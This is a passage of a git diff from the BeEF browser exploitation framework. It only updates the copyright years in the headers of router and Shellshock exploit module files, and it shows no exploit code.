b/modules/exploits/router/linksys_wrt54g_csrf/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/router/linksys_wrt54g_csrf/module.rb b/modules/exploits/router/linksys_wrt54g_csrf/module.rb index 5e4606539..f709238f5 100644 --- a/modules/exploits/router/linksys_wrt54g_csrf/module.rb +++ b/modules/exploits/router/linksys_wrt54g_csrf/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/router/netgear_dgn2000_wan_remote_mgmt/command.js b/modules/exploits/router/netgear_dgn2000_wan_remote_mgmt/command.js index df9a4adcc..43fa122c1 100644 --- a/modules/exploits/router/netgear_dgn2000_wan_remote_mgmt/command.js +++ b/modules/exploits/router/netgear_dgn2000_wan_remote_mgmt/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/exploits/router/netgear_dgn2000_wan_remote_mgmt/config.yaml b/modules/exploits/router/netgear_dgn2000_wan_remote_mgmt/config.yaml index 6e875ff93..f7dc78fd3 100644 --- a/modules/exploits/router/netgear_dgn2000_wan_remote_mgmt/config.yaml +++ b/modules/exploits/router/netgear_dgn2000_wan_remote_mgmt/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/router/netgear_dgn2000_wan_remote_mgmt/module.rb b/modules/exploits/router/netgear_dgn2000_wan_remote_mgmt/module.rb index 9bf2b160f..39fc04fb6 100644 --- a/modules/exploits/router/netgear_dgn2000_wan_remote_mgmt/module.rb +++ b/modules/exploits/router/netgear_dgn2000_wan_remote_mgmt/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/router/netgear_dgn2200_cmd_exec/command.js b/modules/exploits/router/netgear_dgn2200_cmd_exec/command.js index 65349857c..b6d29a47c 100755 --- a/modules/exploits/router/netgear_dgn2200_cmd_exec/command.js +++ b/modules/exploits/router/netgear_dgn2200_cmd_exec/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/exploits/router/netgear_dgn2200_cmd_exec/config.yaml b/modules/exploits/router/netgear_dgn2200_cmd_exec/config.yaml index db0dbf2fc..7dc6004db 100755 --- a/modules/exploits/router/netgear_dgn2200_cmd_exec/config.yaml +++ b/modules/exploits/router/netgear_dgn2200_cmd_exec/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/router/netgear_dgn2200_cmd_exec/module.rb b/modules/exploits/router/netgear_dgn2200_cmd_exec/module.rb index a41114d01..af7065f16 100755 --- a/modules/exploits/router/netgear_dgn2200_cmd_exec/module.rb +++ b/modules/exploits/router/netgear_dgn2200_cmd_exec/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/router/phillips_dns_hijack/command.js b/modules/exploits/router/phillips_dns_hijack/command.js index e0edf867c..b837a273e 100644 --- a/modules/exploits/router/phillips_dns_hijack/command.js +++ b/modules/exploits/router/phillips_dns_hijack/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/exploits/router/phillips_dns_hijack/config.yaml b/modules/exploits/router/phillips_dns_hijack/config.yaml index 69a411215..cb57637d8 100644 --- a/modules/exploits/router/phillips_dns_hijack/config.yaml +++ b/modules/exploits/router/phillips_dns_hijack/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/router/phillips_dns_hijack/module.rb b/modules/exploits/router/phillips_dns_hijack/module.rb index 342d45e21..a8e556aa1 100644 --- a/modules/exploits/router/phillips_dns_hijack/module.rb +++ b/modules/exploits/router/phillips_dns_hijack/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission class Philips_dns_hijack < BeEF::Core::Command diff --git a/modules/exploits/router/pikatel_96338_dns_hijack/command.js b/modules/exploits/router/pikatel_96338_dns_hijack/command.js index 5f3e32608..7855156cb 100644 --- a/modules/exploits/router/pikatel_96338_dns_hijack/command.js +++ b/modules/exploits/router/pikatel_96338_dns_hijack/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/exploits/router/pikatel_96338_dns_hijack/config.yaml b/modules/exploits/router/pikatel_96338_dns_hijack/config.yaml index 7c4ac1de1..5aead90da 100644 --- a/modules/exploits/router/pikatel_96338_dns_hijack/config.yaml +++ b/modules/exploits/router/pikatel_96338_dns_hijack/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/router/pikatel_96338_dns_hijack/module.rb b/modules/exploits/router/pikatel_96338_dns_hijack/module.rb index b9b673c1f..97bd35d6d 100644 --- a/modules/exploits/router/pikatel_96338_dns_hijack/module.rb +++ b/modules/exploits/router/pikatel_96338_dns_hijack/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/router/planet_vdr300nu_adsl_dns_hijack/command.js b/modules/exploits/router/planet_vdr300nu_adsl_dns_hijack/command.js index dcb70565c..c28d142bc 100644 --- a/modules/exploits/router/planet_vdr300nu_adsl_dns_hijack/command.js +++ b/modules/exploits/router/planet_vdr300nu_adsl_dns_hijack/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/exploits/router/planet_vdr300nu_adsl_dns_hijack/config.yaml b/modules/exploits/router/planet_vdr300nu_adsl_dns_hijack/config.yaml index 19cbef343..224e7c35e 100644 --- a/modules/exploits/router/planet_vdr300nu_adsl_dns_hijack/config.yaml +++ b/modules/exploits/router/planet_vdr300nu_adsl_dns_hijack/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/router/planet_vdr300nu_adsl_dns_hijack/module.rb b/modules/exploits/router/planet_vdr300nu_adsl_dns_hijack/module.rb index b2a3e192f..89cba2bbf 100644 --- a/modules/exploits/router/planet_vdr300nu_adsl_dns_hijack/module.rb +++ b/modules/exploits/router/planet_vdr300nu_adsl_dns_hijack/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/router/shuttle_tech_915wm_dns_hijack/command.js b/modules/exploits/router/shuttle_tech_915wm_dns_hijack/command.js index 86e530685..a473c54a4 100644 --- a/modules/exploits/router/shuttle_tech_915wm_dns_hijack/command.js +++ b/modules/exploits/router/shuttle_tech_915wm_dns_hijack/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/exploits/router/shuttle_tech_915wm_dns_hijack/config.yaml b/modules/exploits/router/shuttle_tech_915wm_dns_hijack/config.yaml index 193cc1bbc..6e30abecd 100644 --- a/modules/exploits/router/shuttle_tech_915wm_dns_hijack/config.yaml +++ b/modules/exploits/router/shuttle_tech_915wm_dns_hijack/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/router/shuttle_tech_915wm_dns_hijack/module.rb b/modules/exploits/router/shuttle_tech_915wm_dns_hijack/module.rb index f52986a6b..ad52bb8a1 100644 --- a/modules/exploits/router/shuttle_tech_915wm_dns_hijack/module.rb +++ b/modules/exploits/router/shuttle_tech_915wm_dns_hijack/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/router/telstra_zte_mf91_change_pw/command.js b/modules/exploits/router/telstra_zte_mf91_change_pw/command.js index 83767f603..90a057736 100644 --- a/modules/exploits/router/telstra_zte_mf91_change_pw/command.js +++ b/modules/exploits/router/telstra_zte_mf91_change_pw/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/exploits/router/telstra_zte_mf91_change_pw/config.yaml b/modules/exploits/router/telstra_zte_mf91_change_pw/config.yaml index 98876b116..be01c7556 100644 --- a/modules/exploits/router/telstra_zte_mf91_change_pw/config.yaml +++ b/modules/exploits/router/telstra_zte_mf91_change_pw/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/router/telstra_zte_mf91_change_pw/module.rb b/modules/exploits/router/telstra_zte_mf91_change_pw/module.rb index 0c7928fd9..6448cbb21 100644 --- a/modules/exploits/router/telstra_zte_mf91_change_pw/module.rb +++ b/modules/exploits/router/telstra_zte_mf91_change_pw/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/router/telstra_zte_mf91_change_ssid/command.js b/modules/exploits/router/telstra_zte_mf91_change_ssid/command.js index 685c30f4c..2c6876a33 100644 --- a/modules/exploits/router/telstra_zte_mf91_change_ssid/command.js +++ b/modules/exploits/router/telstra_zte_mf91_change_ssid/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/exploits/router/telstra_zte_mf91_change_ssid/config.yaml b/modules/exploits/router/telstra_zte_mf91_change_ssid/config.yaml index 84d241003..da37f59f4 100644 --- a/modules/exploits/router/telstra_zte_mf91_change_ssid/config.yaml +++ b/modules/exploits/router/telstra_zte_mf91_change_ssid/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/router/telstra_zte_mf91_change_ssid/module.rb b/modules/exploits/router/telstra_zte_mf91_change_ssid/module.rb index 30a264557..eff57bc8f 100644 --- a/modules/exploits/router/telstra_zte_mf91_change_ssid/module.rb +++ b/modules/exploits/router/telstra_zte_mf91_change_ssid/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/router/telstra_zte_mf91_disable_ap_isolation/command.js b/modules/exploits/router/telstra_zte_mf91_disable_ap_isolation/command.js index 0fa9b65de..f7ec00a97 100644 --- a/modules/exploits/router/telstra_zte_mf91_disable_ap_isolation/command.js +++ b/modules/exploits/router/telstra_zte_mf91_disable_ap_isolation/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/exploits/router/telstra_zte_mf91_disable_ap_isolation/config.yaml b/modules/exploits/router/telstra_zte_mf91_disable_ap_isolation/config.yaml index d95a5fb4b..66c4efd12 100644 --- a/modules/exploits/router/telstra_zte_mf91_disable_ap_isolation/config.yaml +++ b/modules/exploits/router/telstra_zte_mf91_disable_ap_isolation/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/router/telstra_zte_mf91_disable_ap_isolation/module.rb b/modules/exploits/router/telstra_zte_mf91_disable_ap_isolation/module.rb index 85d26760c..3198c03f8 100644 --- a/modules/exploits/router/telstra_zte_mf91_disable_ap_isolation/module.rb +++ b/modules/exploits/router/telstra_zte_mf91_disable_ap_isolation/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/router/tenda_adsl_dns_hijack/command.js b/modules/exploits/router/tenda_adsl_dns_hijack/command.js index fab288855..3356658be 100644 --- a/modules/exploits/router/tenda_adsl_dns_hijack/command.js +++ b/modules/exploits/router/tenda_adsl_dns_hijack/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/exploits/router/tenda_adsl_dns_hijack/config.yaml b/modules/exploits/router/tenda_adsl_dns_hijack/config.yaml index 11a43c843..fd0e0ea6e 100644 --- a/modules/exploits/router/tenda_adsl_dns_hijack/config.yaml +++ b/modules/exploits/router/tenda_adsl_dns_hijack/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/router/tenda_adsl_dns_hijack/module.rb b/modules/exploits/router/tenda_adsl_dns_hijack/module.rb index 0b6ae996b..6b38f36dc 100644 --- a/modules/exploits/router/tenda_adsl_dns_hijack/module.rb +++ b/modules/exploits/router/tenda_adsl_dns_hijack/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/router/tplink_dns_csrf/command.js b/modules/exploits/router/tplink_dns_csrf/command.js index 20bda42fe..ce084da45 100644 --- a/modules/exploits/router/tplink_dns_csrf/command.js +++ b/modules/exploits/router/tplink_dns_csrf/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/exploits/router/tplink_dns_csrf/config.yaml b/modules/exploits/router/tplink_dns_csrf/config.yaml index e9a04b8c5..42691a94c 100644 --- a/modules/exploits/router/tplink_dns_csrf/config.yaml +++ b/modules/exploits/router/tplink_dns_csrf/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/router/tplink_dns_csrf/module.rb b/modules/exploits/router/tplink_dns_csrf/module.rb index be0b1116b..6dcd7f0e6 100644 --- a/modules/exploits/router/tplink_dns_csrf/module.rb +++ b/modules/exploits/router/tplink_dns_csrf/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/router/utstarcom_wa3002g4_dns_hijack/command.js b/modules/exploits/router/utstarcom_wa3002g4_dns_hijack/command.js index 6f76bde16..82225a39d 100644 --- a/modules/exploits/router/utstarcom_wa3002g4_dns_hijack/command.js +++ b/modules/exploits/router/utstarcom_wa3002g4_dns_hijack/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/exploits/router/utstarcom_wa3002g4_dns_hijack/config.yaml b/modules/exploits/router/utstarcom_wa3002g4_dns_hijack/config.yaml index ade8e8451..7633c0e3b 100644 --- a/modules/exploits/router/utstarcom_wa3002g4_dns_hijack/config.yaml +++ b/modules/exploits/router/utstarcom_wa3002g4_dns_hijack/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/router/utstarcom_wa3002g4_dns_hijack/module.rb b/modules/exploits/router/utstarcom_wa3002g4_dns_hijack/module.rb index 4759ca1bc..f0454b61e 100644 --- a/modules/exploits/router/utstarcom_wa3002g4_dns_hijack/module.rb +++ b/modules/exploits/router/utstarcom_wa3002g4_dns_hijack/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/router/virgin_superhub_csrf/command.js b/modules/exploits/router/virgin_superhub_csrf/command.js index 8804b6fd5..4f0ad0617 100644 --- a/modules/exploits/router/virgin_superhub_csrf/command.js +++ b/modules/exploits/router/virgin_superhub_csrf/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/exploits/router/virgin_superhub_csrf/config.yaml b/modules/exploits/router/virgin_superhub_csrf/config.yaml index 76eb33d4c..cb5e7b2dd 100644 --- a/modules/exploits/router/virgin_superhub_csrf/config.yaml +++ b/modules/exploits/router/virgin_superhub_csrf/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/router/virgin_superhub_csrf/module.rb b/modules/exploits/router/virgin_superhub_csrf/module.rb index 06345d151..57b49f067 100644 --- a/modules/exploits/router/virgin_superhub_csrf/module.rb +++ b/modules/exploits/router/virgin_superhub_csrf/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/router/wipg1000_cmd_injection/command.js b/modules/exploits/router/wipg1000_cmd_injection/command.js index 13a3c61b9..a0288c048 100644 --- a/modules/exploits/router/wipg1000_cmd_injection/command.js +++ b/modules/exploits/router/wipg1000_cmd_injection/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/exploits/router/wipg1000_cmd_injection/config.yaml b/modules/exploits/router/wipg1000_cmd_injection/config.yaml index 75791eba4..5bd24f271 100644 --- a/modules/exploits/router/wipg1000_cmd_injection/config.yaml +++ b/modules/exploits/router/wipg1000_cmd_injection/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/router/wipg1000_cmd_injection/module.rb b/modules/exploits/router/wipg1000_cmd_injection/module.rb index 4b21a7373..0305be351 100644 --- a/modules/exploits/router/wipg1000_cmd_injection/module.rb +++ b/modules/exploits/router/wipg1000_cmd_injection/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/ruby_nntpd_cmd_exec/command.js b/modules/exploits/ruby_nntpd_cmd_exec/command.js index b144c73ff..39f782c08 100644 --- a/modules/exploits/ruby_nntpd_cmd_exec/command.js +++ b/modules/exploits/ruby_nntpd_cmd_exec/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/exploits/ruby_nntpd_cmd_exec/config.yaml b/modules/exploits/ruby_nntpd_cmd_exec/config.yaml index bcde6d0ea..4e17b3180 100644 --- a/modules/exploits/ruby_nntpd_cmd_exec/config.yaml +++ b/modules/exploits/ruby_nntpd_cmd_exec/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/ruby_nntpd_cmd_exec/module.rb b/modules/exploits/ruby_nntpd_cmd_exec/module.rb index 640b16993..5f72811b5 100644 --- a/modules/exploits/ruby_nntpd_cmd_exec/module.rb +++ b/modules/exploits/ruby_nntpd_cmd_exec/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission ### diff --git a/modules/exploits/shell_shock_scanner/command.js b/modules/exploits/shell_shock_scanner/command.js index 5fc5e6d37..21fc1dcfc 100644 --- a/modules/exploits/shell_shock_scanner/command.js +++ b/modules/exploits/shell_shock_scanner/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/exploits/shell_shock_scanner/config.yaml b/modules/exploits/shell_shock_scanner/config.yaml index 1d27126d3..f255e3295 100644 --- a/modules/exploits/shell_shock_scanner/config.yaml +++ b/modules/exploits/shell_shock_scanner/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/shell_shock_scanner/module.rb b/modules/exploits/shell_shock_scanner/module.rb index 84762236c..a4c50e775 100644 --- a/modules/exploits/shell_shock_scanner/module.rb +++ b/modules/exploits/shell_shock_scanner/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/shell_shocked/command.js b/modules/exploits/shell_shocked/command.js index 88a6bc5a7..8ebbd5e25 100644 --- a/modules/exploits/shell_shocked/command.js +++ b/modules/exploits/shell_shocked/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/exploits/shell_shocked/config.yaml b/modules/exploits/shell_shocked/config.yaml index 2f5fb0a57..e8f5f9f5d 100644 --- a/modules/exploits/shell_shocked/config.yaml +++ b/modules/exploits/shell_shocked/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/shell_shocked/module.rb b/modules/exploits/shell_shocked/module.rb index 03971a46e..07d24f143 100644 --- a/modules/exploits/shell_shocked/module.rb +++ b/modules/exploits/shell_shocked/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/exploits/spring_framework_malicious_jar/command.js b/modules/exploits/spring_framework_malicious_jar/command.js index 76490fd5d..a05b6f7e5 100644 --- a/modules/exploits/spring_framework_malicious_jar/command.js +++ b/modules/exploits/spring_framework_malicious_jar/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 